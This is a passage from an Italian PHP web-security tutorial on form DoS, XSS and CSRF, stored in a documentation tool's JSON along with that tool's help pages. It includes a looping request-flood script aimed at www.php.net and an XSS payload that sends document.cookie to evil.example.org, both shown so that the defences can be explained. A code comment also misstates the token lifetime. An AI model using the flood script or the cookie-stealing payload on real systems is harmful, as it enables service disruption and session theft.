\n<?php\n\n$max = 99999999999999999999999999999;\n\nfor($i=0; $i<$max; $i++){\n\n$http_response = '';\n\n$fp = fsockopen('www.php.net', 80);\n\nfputs($fp, "GET / HTTP/1.1\r\n");\n\nfputs($fp, "Host: www.php.net\r\n\r\n");\n\nwhile (!feof($fp))\n{\n$http_response .= fgets($fp, 128);\n}\n\nfclose($fp);\n\n//wait some milliseconds before next submission\nusleep(50);\n}\n?>
\n
\n\t 
\n
\n\til meccanismo di saturazione è chiaro: lo script crea un numero quasi infinito di richieste HTTP, che invia al server(più propriamente allo script che elabora i dati di un form) in un brevissimo lasso di tempo; anche se i dati in qualche modo sono congruenti, comunque lo script lato server impiega tempo e risorse per eseguire i controlli e validazioni - in alcuni casi se i test-case vengono passati si potrebbero generare anche moltissime scritture dati su un database MySql, rallentando ulteriormente il server (dato che sarà costretto a trattare ogni richiesto come un client a parte, e generando un processo ogni volta);
\n
\n\tin questo modo è molto facile arrivare ad uno stato di "starvation" dell'ambiente server (cfr: http://it.wikipedia.org/wiki/Starvation).
\n
\n\t 
\n
\n\tE' dunque necessario saper implementare una serie di misure per le quali possiamo creare alcuni "blocchi" o "limiti" sia per identificare che il Client che sta inviando il form sia veramente quello per il quale è stato creato e, allo stesso tempo, sia per evitare al server inutili processi e controlli onerosi se possiamo accorgerci subito che i dati sono arrivati da un fonte non sicura.
\n
\n\t 
\n
\n\tIn realtà, in questo caso le soluzioni sono due, e possono anche coesistere assieme:
\n
\n\t 
\n

\n\tA) SHARED SECRETS

\n
\n\tLe "shared secrets", conosciute anche come "one-time tokens" o "hashes", si basano sull'ampliare un'idea che è alla base del protocollo HTTP, cioè lo scambio di informazioni tra Client e Server.
\n
\n\tSecondo questa tecnica il server ha il compito di generare una stringa "segreta" che è e deve essere conosciuta soltanto dal server stesso ed un eventuale utente legittimo.
\n
\n\tOvviamente di tecniche di implementazione per raggiungere questo scopo ce ne sono molte e differenti tra di loro, ma tutte condividono almeno due punti in comune: l'applicazione di tale tecnica deve essere trasparente per l'Utente e al tempo stesso deve essere virtualmente difficile da aggirare.
\n
\n\t 
\n
\n\tL'implementazione canonica più semplice e facile da realizzare prevede l'inserimento/salvataggio della stringa segreta all'interno della sessione utente:
\n
\n\t 
\n
\n<?php\n\n$secret = md5(uniqid(rand(), true));\n\n$_SESSION['secret'] = $secret;\n\n$_SESSION['secret_time'] = time();\n\n?>
\n
\n\t 
\n
\n\tquesta variabile viene poi inserita nel form che vogliamo proteggere, all'interno di un campo hidden(nascosto):
\n
\n\t 
\n
\n<input type="hidden" name="secret" value="<? echo $secret; ?>" />
\n
\n\t 
\n
\n\tE' assolutamente necessario che, ogni volta che il form venga ricaricato/visualizzato, il server sia in grado di generare una chiave differente, in modo tale che il livello client(l'utente) sia sempre dotato di una stringa segreta sempre aggiornata e corretta.
\n
\n\t 
\n
\n\tLo script(lato server) abilitato al processo di sottomissione del nostro form esegue, prima di qualsiasi altra cosa, un controllo comparativo tra la chiave(token) inviata dal Client e la stringa "segreta" che in quel momento è salvata come variabile di sessione:
\n
\n\t 
\n
\n<?php\nif($_POST['secret'] == $_SESSION['secret']){\n//valid form submission\n...\n//now process the data\n}else{\n//form submission in invalid - do something, without processing anything(saving server resources)\n}
\n
\n\t 
\n
\n\tD'altra parte possiamo migliorare la sicurezza di questo metodo restringendo l'ipotetica finestra di timeout(del valore della variabile lato server) piuttosto che basarci sui classici session timeout imposti di default dal PHP, che potrebbero essere troppo alti per i nostri bisogni.
\n
\n\t 
\n
\n\tAd esempio consideriamo valide solo le richieste che avvengono solo nell'arco dei primi 5 minuti dalla generazione del "token" stesso:
\n
\n\t 
\n
\n<?php\n$secret_age = time() - $_SESSION['secret_time'];\nif ($secret_age <= 300){\n    /* Less than five minutes has passed. */\n}\n?>
\n
\n\t 
\n
\n\t 
\n

\n\tB) CAPTCHA

\n
\n\tOriginariamente il funzionamento dei CAPTCHA fu ideato con il principale scopo di determinare la compilazione(e relativa sottomissione) di un form da parte di un essere umano e non di uno script o bot. Tuttavia le statistiche degli ultimi anni mostrano chiaramento come i CAPTCHA siano, indirettamente, in grado di ridurre drasticamente la possibilità di essere vittima di un Form Spoofing e anche di un attacco DoS che usa come vettore i form.
\n
\n\t 
\n

\n\tAttenzione: è lecito sottolineare che abbiamo parlato di "riduzione" e NON di "eliminazione" - infatti i CAPTCHA, soprattutto quelli basati su lettere e numeri, possono essere aggirati tramite l'utilizzo di tecniche basate sull'OCR (Optical Character Recognition), cioè dei veri e propri scanner in grado di "simulare" la lettura da parte di un essere umano (ad es. http://jocr.sourceforge.net/).

\n
\n\t 
\n
\n\tTuttavia, anche nell'esatto momento in cui leggiamo, vengono affinate tecniche sempre più robuste per produrre CAPTCHA che siano al tempo stesso di facile comprensione per un essere umano e di difficile interpretazione anche per uno scanner OCR; l'importante è utilizzare un servizio integrato di generazione di CAPTCHA, ed evitare di implementarne uno fatto in casa (le motivazioni sono di facile interpretazione).
\n
\n\t 
\n
\n\tUno degli embed-service di CATCHA più famosi al mondo è stato creato (e ovviamente largamente utilizzato) da Google stessa, ovvero il progetto reCAPTCHA (cfr. http://www.google.com/recaptcha/learnmore) - vediamo come implementare questo potente meccanismo in pochi e semplici passaggi:
\n
\n\t 
\n

\n\treCAPTCHA con PHP

\n
\n\tLa libreria reCAPTCHA per PHP fornisce un semplice modo per usufruire velocemente delle funzionalità di questo tool sul proprio sito.
\n
\n\tPer utilizzare l'attuale API(Application Program Interface) per l'integrazione del servizio è sufficiente scaricare la libreria ufficiale da qui: http://code.google.com/p/recaptcha/downloads/list?q=label:phplib-Latest.
\n
\n\tAll'interno dell'archivio scaricato l'unico file di reale importanza è il file "recaptchalib.php" - gli altri file si riferiscono ad esempi, readme e materiale legale - completamente estranei alla funzionalità tecnica.
\n
\n\t 
\n
\n\tPrima di procedere alla reale integrazione è richiesto di effettuare una registrazione al servizio, in modo da ottenere la chiave privata per l'attivazione/utilizzo del servizio (APY Key); una volta ottenuta questa informazione possiamo procedere all'integrazione Client e Server side:
\n
\n\t 
\n

\n\treCAPTCHA: Client Side 

\n
\n\t(Mostrare l'immagine con il CAPTCHA)
\n
\n\tPer visualizzare il widget reCAPTCHA all'interno del nostro form, dobbiamo inserire il seguente snippet di codice DOPO l'apertura(e prima della chiusura) del tag <form>, nel punto in cui vogliamo venga visualizzato il widget:
\n
\n\t 
\n
\n<html>\n    <body> <!-- the body tag is required or the CAPTCHA may not show on some browsers -->\n      <!-- your HTML content -->\n      <form method="post" action="verify.php">\n        <?php\n          require_once('recaptchalib.php');\n          $publickey = "your_public_key"; // you got this from the signup page\n          echo recaptcha_get_html($publickey);\n        ?>\n        <input type="submit" />\n      </form>\n      <!-- more of your HTML content -->\n    </body>\n  </html>
\n
\n\t 
\n

\n\tAttenzione: il valore della variabile $publickey dev'essere uguale alla stringa ottenuta tramite la registrazione al servizio (API Key)!

\n
\n\t 
\n

\n\tLa funzione require_once nell'esempio precedente si aspetta che il file "recaptchalib.php" sia fisicamente nella stessa directory del file del form. Se il file di libreria viene posizionato in un'altra directory, allora deve essere linkato propriamente. Ad esempio se nel tuo applicativo il file "recaptchalib.php" è situato nella cartella "captcha", la chiamata alla funzione dovrebbe modificarsi in require_once('captcha/recaptchalib.php')

\n
\n\t 
\n

\n\treCAPTCHA: Server Side 

\n
\n\t(Come testare che l'utente abbia inserito la risposta correttamente)
\n
\n\tIl seguente listato di codice dovrebbe essere posizionato all'inizio del file "verify.php" (o dello script incaricato di ricevere i dati provenienti dal form):
\n
\n\t 
\n
\n  <?php\n\n  require_once('recaptchalib.php');\n\n  $privatekey = "your_private_key";\n\n  $resp = recaptcha_check_answer ($privatekey,\n\n                                $_SERVER["REMOTE_ADDR"],\n\n                                $_POST["recaptcha_challenge_field"],\n\n                                $_POST["recaptcha_response_field"]);\n\n\n  if (!$resp->is_valid) {\n\n    // What happens when the CAPTCHA was entered incorrectly\n\n    die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .\n\n         "(reCAPTCHA said: " . $resp->error . ")");\n\n  } else {\n\n    // Your code here to handle a successful verification\n\n  }\n\n  ?>
\n
\n\t  
\n
\n\tNel codice precedente notiamo che:
\n
\n\t 
\n\n
\n\t 
\n
\n\tE' inoltre obbligatorio assicurarci che le variabili del form vengano riferite tramite l'array $_POST, al posto di $_REQUEST, e che il form stesso utilizzi il metodo POST per l'invio della richiesta.
\n"},{"title": "Best Practice: Cross-Site Scripting (XSS)","id": "best_practice_cross_site_scripting_xss","content": "
\n\tI media hanno contribuito a rendere famoso e familiare il termine "cross-site scripting (XSS)", e c'è da dire che l'attenzione è ampiamente meritata. XSS rappresenta una delle vulnerabilità più comuni nelle applicazioni web, e molti progetti open-source scritti in PHP soffrono costantemente di vulnerabilità di natura XSS.
\n
\n\t 
\n
\n\tAttacchi di tipo XSS presentano le seguenti caratteristiche:
\n
\n\t 
\n\n
\n\t 
\n
\n\tMa come può succedere tutto questo? 
\n
\n\tSe si visualizza contenuto proveniente da qualsiasi fonte esterna senza averlo preventivamente filtrato o controllato, allora è piuttosto semplice rendersi vulnerabile ad un attacco XSS. I dati esterni devono essere sempre trattati alla stregua dei dati in input dei Client(di cui abbiamo parlato nei capitoli precedenti); in questo caso non stiamo parlando soltanto di dati provenienti da una query su un database, ma anche del contenuto di un'email(se ad esempio il nostro applicativo prevede unzionalità di web mail), un banner pubblicitario, una serie di feed RSS, e così via. Ogni informazione che non è fisicamente nel codice proviene da una fonte esterna e, al giorno d'oggi, nell'era dell'integrazione multi-livello, equivale alla maggior parte dei dati.
\n
\n\t 
\n
\n\tConsideriamo il seguente esempio, in cui abbiamo un messaggio postato da un Utente, che viene salvato e infine visualizzato su una bacheca pubblica(message board/forum):
\n
\n\t 
\n
\n<form>\n\n<input type="text" name="message"><br />\n\n<input type="submit">\n\n</form>\n\n\n<?php\n\nif (isset($_GET['message']))\n\n{\n\n    $fp = fopen('./messages.txt', 'a');\n\n    fwrite($fp, "{$_GET['message']}<br />");\n\n    fclose($fp);\n\n}\n\nreadfile('./messages.txt');\n\n?>
\n
\n\t 
\n
\n\tChiaramente, in maniera piuttosto elementare, questa bacheca appende un "<br />" a qualsiasi messaggio inviato dall'Utente, appende l'informazione ad un file lato server, e successivamente provvede alla visualizzazione dell'intero contenuto del medesimo file.
\n
\n\t 
\n
\n\tImmaginiamo ora se un Utente malintenzionato invia il seguente messaggio:
\n
\n\t 
\n
\n<script>\n\ndocument.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie\n\n</script>
\n
\n\t 
\n
\n\tTutti gli utenti che visiteranno la bacheca verranno rediretti al dominio, ed ogni cookie associato con il sito di proveniente verrà incluso nella query-string dell'URL di destinazione.
\n
\n\t 
\n
\n\tOvviamente un hacker che si rispetti, con una possibilità del genere, non si limiterebbe solo a questo, ma potrebbe potenzialmente creare una serie di problemi e furti di dati virtualmente infinito.
\n
\n\t 
\n
\n\tCosa possiamo fare a riguardo?
\n
\n\tSebbene piuttosto famosa, XSS al tempo stesso è generalmente una tecnica piuttosto facile da arginare e controllare. Le cose si complicano quando vogliamo che la nostra applicazione sia in grado di permettere la stampa di codice HTML proveniente dall'esterno, direttamente nelle parte pubblica (Client), ma anche in questo caso ci sono soluzioni che non sono terribilmente difficili da implementare, come il cosiddetto BB_CODE (cfr. http://en.wikipedia.org/wiki/Bb_code).
\n
\n\t 
\n
\n\tLe Best Practice seguenti possono arginare gran parte dei problemi derivanti da attacchi di tipo XSS:
\n
\n\t 
\n

\n\tFiltra tutti i dati esterni

\n
\n\tCome accennato precedentemente, il processo di "data-filtering" applicato anche ai dati esterna è il metodo più importante e potente che si possa adottare. Generalmente è quindi altamente consigliato sempre filtrare sia i dati in entrata che quelli in uscita, per prevenire gran parte degli exploit della famiglia XSS.
\n
\n\tIn questo senso il PHP è ricco di funzioni, estensioni e librerie che aiutano ad esplicare il processo di "data-filtering" in maniera robusta e veloce.
\n
\n\tSegnaliamo a tal proposito la libreria Filter sviluppata disponibile come estensione PHP: http://php.net/manual/en/book.filter.php
\n
\n\t 
\n

\n\tUtilizza funzioni esistenti

\n
\n\tSe dal punto di vista tecnico risulta oneroso(o impossibile) utilizzare estensioni o librerie di terze parti, lascia che sia lo stesso PHP ad aiutarti nella logica di data-filtering. Funzioni base come htmlentities(), strip_tags(), and utf8_decode() possono essere utili e facili da usare. Evita di riprodurre qualche funzionamento che il PHP implementa già. Utilizzare le funzioni native del PHP assicura che il processo di filtering sia veloce e performante (essendo compilate nel core).
\n
\n\t 
\n

\n\tUtilizza un approccio "whitelist"

\n
\n\tE' importante assumere che i dati siano sempre NON-validi fino a che non è possibile provare che siano validi. Questo porta a controllare entità come la lunghezza e l'appartenenza a certi gruppi di caratteri a seconda del tipo di dato. Ad esempio, se l'utente ha inviato un campo contenente il "cognome", è lecito permettere che questo campo sia composto unicamente da caratteri standard(nè numeri e nè caratteri speciali) e spazi; è vero che valori come "O'Reilly" e "Berners-Lee" non verranno considerati validi, ma in questo senso è facile risolvere il problema aggiungendo due caratteri nella whitelist. E' meglio negare dati validi piuttosto che accettare dati dalla dubbia conformazione.
\n
\n\t 
\n
\n\tUna versione molto più sicura della nostra precedente bacheca potrebbe essere la seguente:
\n
\n\t 
\n
\n<form>\n<input type="text" name="message"><br />\n<input type="submit">\n</form>\n\n<?php\nif (isset($_GET['message']))\n{\n    $message = htmlentities($_GET['message']);\n    $fp = fopen('./messages.txt', 'a');\n    fwrite($fp, "$message<br />");\n    fclose($fp);\n}\nreadfile('./messages.txt');\n?>
\n
\n\t 
\n
\n\tCon la semplice aggiunta di htmlentities(), tutto ciò che verrà visualizzato a schermo non conterrà codice maligno; ovviamente questo è solo un semplice esempio, ma è evidente come, con un minimo di logica e prevenzione, si possa facilmente rendere più sicuro vulnerabilità disastrose come questa.
\n
\n\t 
\n"},{"title": "Best Practice: Cross-Site Request Forgeries (CSRF)","id": "best_practice_cross_site_request_forgeries_csrf","content": "
\n\tSebbene ci sia una certa somiglianza a livello di nomenclatura, gli attacchi di tipo cross-site request forgeries (CSRF) sono completamente differenti rispetto alle tecniche di Cross-site Scripting (XSS), se non opposti.
\n
\n\tDifatti mentre gli attacchi XSS minano la fiducia che un Utente ripone in un sito/applicazione web, gli attacchi di tipo CSRF minano la fiducia che un sito ripone in un Utente. 
\n
\n\tDal punto di vista canonico, gli attacchi CSRF sono più pericolosi, meno popolari (il che vuol dire meno risorse e discussioni fruibili dalla rete) e più difficili da gestire e difendere.
\n
\n\t 
\n
\n\tGeneralmente gli attacchi CSRF hanno le seguenti caratteristiche:
\n
\n\t 
\n\n
\n\t 
\n
\n\tIn sostanza gli attacchi CSRF includono tutti gli attacchi che vedono un attaccante "forgiare" una richiesta di tipo HTTP per conto di un altro Utente(facendo credere quindi al sistema di un essere un'Utente legittimo e di comportarsi come tale). Ci sono varie tecniche (dato lo scopo dell'attacco, è necessario conoscore bene l'ergonomia dell'applicazione che s'intende attaccare) che possono essere utilizzate in tal senso - vediamone alcune.
\n
\n\t 
\n
\n\tDato che gli attacchi CSRF si basano sulle HTTP request, è importante acquisire prima un certo livello base di familiarità con la struttura del protocollo HTTP.
\n
\n\t 
\n
\n\tUn browser web è formalmente un client HTTP, ed un web server è un server HTTP. I Client iniziano una transazione inviando una richiesta(HTTP Request), e il server completa la transazione processando la richiesta ed inviando al Client la risposta(HTTP response). A livello protocallare una richiesta HTTP ha il seguente aspetto:
\n
\n\t 
\n
\nGET / HTTP/1.1\nHost: example.org\nUser-Agent: Mozilla/5.0 Gecko\n\nAccept: text/xml, image/png, image/jpeg, image/gif, */*
\n
\n\t 
\n
\n\tLa prima riga è definita "request line", e contiene il metodo scelto(chiamato anche "verbo") dal Client per instaurare la transazione, l'URL richiesta (in maniera relativa) e la versione del protocollo HTTP. Le linee successive sono di solito chiamate "intestazioni" (HTTP Headers), e ogni intestazione è formata da un nome, una "colonna" (i due punti), uno spazio ed infine il valore.
\n
\n\t 
\n
\n\tAd ogni sviluppatore PHP dovrebbe risultare familiare il modo di reperire queste informazioni all'interno del linguaggio. Ad esempio, il seguente listato di codice può essere utilizzato per ricostruire esattamente la richiesta HTTP a livello protocollare:
\n
\n\t 
\n
\n<?php\n$request = '';\n$request .= "{$_SERVER['REQUEST_METHOD']} ";\n$request .= "{$_SERVER['REQUEST_URI']} ";\n$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";\n$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";\n$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";\n$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";\n?>
\n
\n\t 
\n
\n\tDall'altra parte, un esempio di risposta (HTTP Response) su base protocollare potrebbe somigliare a:
\n
\n\t 
\n
\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 57\n\n<html>\n<img src="http://example.org/image.png" />\n</html>
\n
\n\t 
\n
\n\tIl contenuto di una risposta è essenzialmente ciù che si vede nella modalità "vista sorgente" di un Browser. Tuttavia il dialogo tra Client e Server non è ancora ultimato: il tag IMG presente nella risposta avvisa il browser del fatto che è necessaria un'altra risorsa(un'immagine) per renderizzare correttamente la pagina. Il browser provvede a richiedere la risorsa mancante instaurando una vera e propria nuova richiesta, che potrebbe assomigliere al seguente codice:
\n
\n\t 
\n
\nGET /image.png HTTP/1.1\nHost: example.org\nUser-Agent: Mozilla/5.0 Gecko\n\nAccept: text/xml, image/png, image/jpeg, image/gif, */*
\n
\n\t 
\n
\n\tQuesto passaggio merita un minimo di attenzione in più: il browser provvedere a richiedere un'ulteriore risorsa, il cui path(locazione) è descritto nel tag IMG, allo stesso modo con cui un Utente potrebbe richiederlo manualmente. Per il browser tecnicamente non c'è differenza ed è assolutamente imprescindibile (la pagina e l'immagine sono risorse, e le risorse vengono trattate, a livello protocollare, tutte con lo stesso modo).
\n
\n\t 
\n
\n\tOra, combinando ciò che abbiamo imparato sui form con i principi base del protocollo HTTP appena discussi, consideriamo una URL simile alla seguente:
\n
\n\t 
\n
\n\t
\nhttp://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
\n\t
\n\t\t 
\n\t
\n\t\tUn form che invia i dati al server tramite GET potenzialmente non sarebbe in grado di distinguire un regolare invio da una richiesta di un'immagine - entrambi potrebbero essere richiesti con la stessa URI. Inoltre, se register_globals è abilitato, il "method"(cioè GET o POST) del form risulta addirittura irrilevante.
\n\t
\n\t\t 
\n\t
\n\t\tUn'altra caratteristica che rende i CSRF così potenti è che ogni cookie relativo ad un'URL specifico sono inclusi nella richiesta HTTP. Un utente che ha già stabilito una relazione con il sito "stocks.example.org" (come ad esempio aver eseguito un login con successo) può potenzialmente acquistare 1000 articoli di 'SCOX' semplicemente visitando una pagina con un tag IMG che ha come attributo 'src' l'URL dell'esempio precedente.
\n\t
\n\t\t 
\n\t
\n\t\tConsideriamo il seguente form posizionato (ipoteticamente) all'indirizzo http://stocks.example.org/form.html:
\n\t
\n\t\t 
\n\t
\n<p>Buy Stocks Instantly!</p>\n<form action="/buy.php">\n<p>Symbol: <input type="text" name="symbol" /></p>\n<p>Quantity:<input type="text" name="quantity" /></p>\n<input type="submit" />\n</form>
\n\t
\n\t\t 
\n\t
\n\t\tSe l'utente inserisce SCOX per il campo 'symbol' e 1000 per il campo 'quantity'(quantità), ed invia il form, la richiesta che è inviata dal browser è simile alla seguente:
\n\t
\n\t\t 
\n\t
\nGET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1\nHost: stocks.example.org\nUser-Agent: Mozilla/5.0 Gecko\n\nAccept: text/xml, image/png, image/jpeg, image/gif, */*\n\nCookie: PHPSESSID=1234
\n\t
\n\t\t 
\n\t
\n\t\tNell'header della request è stato incluso un cookie per illustrare che l'applicazione sta utilizzate un cookie come identificare di sessione. Se un tag IMG adotta come attributo 'src' lo stesso identico URL, il medesimo cookie verrà inviato nella richiesta per quell'indirizzo, ed il server che ha il compito di processare la richiesta non sarà/avrà modo di distinguere questa situazione da un ordine vero e proprio.
\n\t
\n\t\t 
\n\t
\n\t\tTuttavia ci sono alcune misure che si possono adottare per proteggeri da attacchi di natura CSRF:
\n\t
\n\t\t 
\n\t

\n\t\tUtilizza sempre POST

\n\t
\n\t\tDal punto di vista Client utilizza sempre POST invece che GET nei form. Ovviamente processare azioni particolarmente "sensibili" come ordini d'acquiso e similari tramite GET è sempre dannoso ed anche privo di significato, considerando che, a livello di protocollo HTTP, il verbo GET dovrebbe essere utilizzato soltanto per "richiedere" informazioni e non per avviare "azioni" verso il server.
\n\t
\n\t\t 
\n\t
\n\t\tLato Server/PHP è sempre meglio abituarsi a referenziare direttamente la variabile $_POST, piuttosto che $_GET o $_REQUEST; inoltre è estremamente importante sviluppare in un ambiente in cui la direttiva register_globals sia disabilitata e allo stesso tempo di inizializzare tutte le variabile che vengono utilizzate nel processo di elaborazione dei dati provenienti da un form.
\n\t
\n\t\t 
\n\t

\n\t\tRichiedi e controlla sempre lo status di autenticazione degli Utenti

\n\t
\n\t\tEvita di focalizzarti sulla convenienza; mentre sembra piuttosto lecito e desiderabile realizzare un'esperienza utente il più conveniente possibile, basare il design di un'applicazione unicamente sulla convenienza può portare a gravi conseguenze. Richiedere e controllare ad ogni 'step' se un Utente sia legittimo e che la sua sessione non sia scaduta può portare a delle azioni ripetitive per i tuoi Utenti, ma è sicuramente molto meglio gestire questo tipo di evenienze piuttosto che esporre il proprio codice a vulnerabilità di tipo CSRF, e ad Utente potenzialmente dannosi.
\n\t
\n\t\t 
\n\t

\n\t\tUtilizza un token ANTI-CSRF

\n\t
\n\t\tImpara a riconoscere il comportamente dei form della tua applicazione e forzane l'utilizzo; uno dei problemi più grandi con gli attacchi CSRF è che il server non è in grado di distinguere da un invio di dati legittimo (avvenuto tramite compilazione e sottimissione dei form presenti sull'applicativo stesso) da un invio simulato e fittizio.
\n\t
\n\t\t 
\n\t
\n\t\tUtilizzare una generazione di token temporanei scambiati tra Client e Server, assieme ad un controllo sul fattore tempo può mitigare, se non eliminare, vulnerabilità di tipo CSRF.
\n\t
\n\t\t 
\n\t
\n\t\tIl seguente codice di esempio mostra come generare un protocollo Client/Server basato sul token-exchange:
\n\t
\n\t\t 
\n\t
\n<?php\n$token = md5(uniqid(rand(), TRUE));\n$_SESSION['token'] = $token;\n$_SESSION['token_timestamp'] = time();\n?>\n\n<form action="/post.php" method="POST">\n<input type="hidden" name="token" value="<?php echo $token; ?>" />\n<p>Subject: <input type="text" name="subject" /></p>\n<p>Message: <textarea name="message"></textarea></p>\n<p><input type="submit" value="Add Post" /></p>\n</form>
\n\t
\n\t\t 
\n\t
\n\t\tUn ipotetico file 'post.php' sarà invece simile al seguente listato:
\n\t
\n\t\t 
\n\t
\n<?php\nsession_start();\n//set the max token age to 300ms (5 seconds)\ndefine('MAX_TOKEN_AGE',300);\n\nif (isset($_POST['message']))\n{\n\nif (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){\n\n$token_age = time() - $_SESSION['token_timestamp'];\n\nif ($token_age <= 300)\n{\n/* Less than five minutes has passed. */\n$message = htmlentities($_POST['message']);\n//save the message\n...\n}else{\n   //token age has expired\n}\n    }\n}\n\n//rigenerate the token in every case\n$token = md5(uniqid(rand(), true));\n$_SESSION['token'] = $token;\n$_SESSION['token_timestamp'] = time();\n?>\n\n<form method="POST">\n<input type="hidden" name="token" value="<?php echo $token; ?>" />\n<input type="text" name="message"><br />\n<input type="submit">\n</form>
\n
\n

\t 

\n"},{"title": "Autosave","id": "autosave","content": "

\tYou can automatically save your work and restore it later if your browser crashes.

\n

\t\"\"

\n\n

\n\tYour saved doc will stay available one week after creation

\n"},{"title": "JSON Import/Export","id": "json_import_export","content": "

\n\tExport

\n

\tWhen you have finished your documentation you can save your work wherever you like.

\n

\t\"\"

\n

\tJust copy all the contents of the box at the very bottom.

\n

\n\tImport

\n

\tYou can import that string by pasting it into the import field or enter the URL to the JSON file

\n

\t\"\"

\n

\tClick outside the box and the Documenter will generate your documentation.

\n

\t 

\n"},{"title": "Save your Docs","id": "save_your_docs","content": "

\tYou can save your documentations. You need a webserver which can handle php files.

\n

\n\tHow it works

\n

\tEnter the URL of your script which handles the Advanced Options

\n

\t\"\"

\n

\tYou script must return the URL of the saves JSON file

\n

\n\tYou can find an example script here

\n

\n\tAfter you have built your documentation you can find a button at the "custom docs" section

\n

\n\t\"\"

\n

\n\t 

\n"},{"title": "Advanced Options","id": "advanced_options","content": "

\tThe Advance Options gives you a possiblity to send the documentation to your server. Furthermore it's used to save documentation.

\n

\t\"\"

\n

\tYou can enter URL to a script located on your server which recives the JSON or the zip file.

\n

\tYou can enter a password in the third field which will get included so you can check it on your server.

\n

\tIf you set a URL for the JSON these variables will get sent to the server:

\n
\n$_POST = array(\n   'json' => THE_JSON_OF_YOUR_DOC\n   'pwd' => MD5_HASH_OF_YOUR_PASSWORD\n)\n
\n

\tIf you set a URL for the ZIP file these variables will get sent to the server:

\n
\n$_POST = array(\n 'name' => 'documentation.zip',\n 'pwd' => MD5_HASH_OF_YOUR_PASSWORD \n)\n$_FILES = array(\n   'file' => array(\n      'name' => 'documentation.zip',\n      'type' => 'application/octet-stream',\n      'tmp_name' => TEMP_FILE_NAME,\n      'error' => 0,\n      'size' => FILESIZE\n  )\n)\n</pre>
\n

\tYou can start with this script and modify it for your needs

\n"},{"title": "Changelog","id": "changelog","content": "

\n\tVersion 1.6 (12/10/2011)

\n
\nAdded Favicon support\nbetter iOS 5 support\n

\n\tVersion 1.5 (09/12/2011)

\n
\nAdded Save functionality\nDrop Pastebin integration\nNew Look!\nBug fixes\n
\n

\n\tVersion 1.4 (06/25/2011)

\n
\nSubmenu Support\nBug fixes\n
\n

\n\tVersion 1.3 (03/28/2011)

\n
\nAutosave feature\nCustom CSS file\nCustom Classes\nBackground Image Support\nBrowser Back Button Support\nValidation for URLs and E-Mails\nRemoved the wrapper in the HTML Structure (use the body instead)\nSome optical improvements\nSome technical improvements\nBug fixes\n
\n

\n\tVersion 1.2 (03/17/2011)

\n
\nsupport for iPhone, iPod Touch, iPad\ndeeplinking support\nNavigation gets a scrollbar if it gets out of view\nExternal links are no opening in a new window\nNo more empty fields in the documentation\nNew Field: Website\n4 new Themes\nBug fixes
\n

\n\tVersion 1.1 (03/12/2011)

\n
\nThemeselecter\nEasy Easing\n“today” checkbox for last Update\nE-mail addresses are now encoded (simple spam protection)\nBug fixes
\n

\t 

\n"},{"title": "Source & Credits","id": "source_credits","content": "

\tThanks so much to

\n\n

\t 

\n"},{"title": "Supporters","id": "supporters","content": "

\tList of all the kind people who donated:

\n\n"},{"title": "What else","id": "what_else","content": "

\tI spent a lot of time on this thing. Nevertheless it's still not finished. I like to improve it wherever I can and appreciate your feedback.

\n

\tBest wishes

\n

\tXaver Birsak, revaxarts.com

\n

\thttp://themeforest.net/user/revaxarts

\n"}],"use_sub": true,"logo": "http://icoa.it/logo-glossy.png","favicon": "http://icoa.it/favicon.ico","customcss": "http://revaxarts-themes.com/documenter/_css/custom.css","easing": "easeOutExpo","easingduration": "450","bgimage": "http://static.revaxarts-themes.com/bg.png","bgrepeat": "repeat","bgattachment": "fixed","bgcolor": "F3F3F3","textcolor": "585858","linkcolor": "111111","hrcolor1": "E5E5E5","hrcolor2": "F9F9F9","sidebarbgimage": "http://static.revaxarts-themes.com/noise.gif","sidebarbgrepeat": "repeat-y","sidebarbgcolor": "333333","sidebartextcolor": "F1F1F1","sidebarlinkcolor": "F1F1F1","sidebaractivecolor": "111111","sidebaractivetextcolor": "F1F1F1","sidebarhrcolor1": "222222","sidebarhrcolor2": "444444","cufon": "http://revaxarts-themes.com/_js/font.js","itemURL": "","sendJSON": "","sendZIP": "","sendPWD": ""}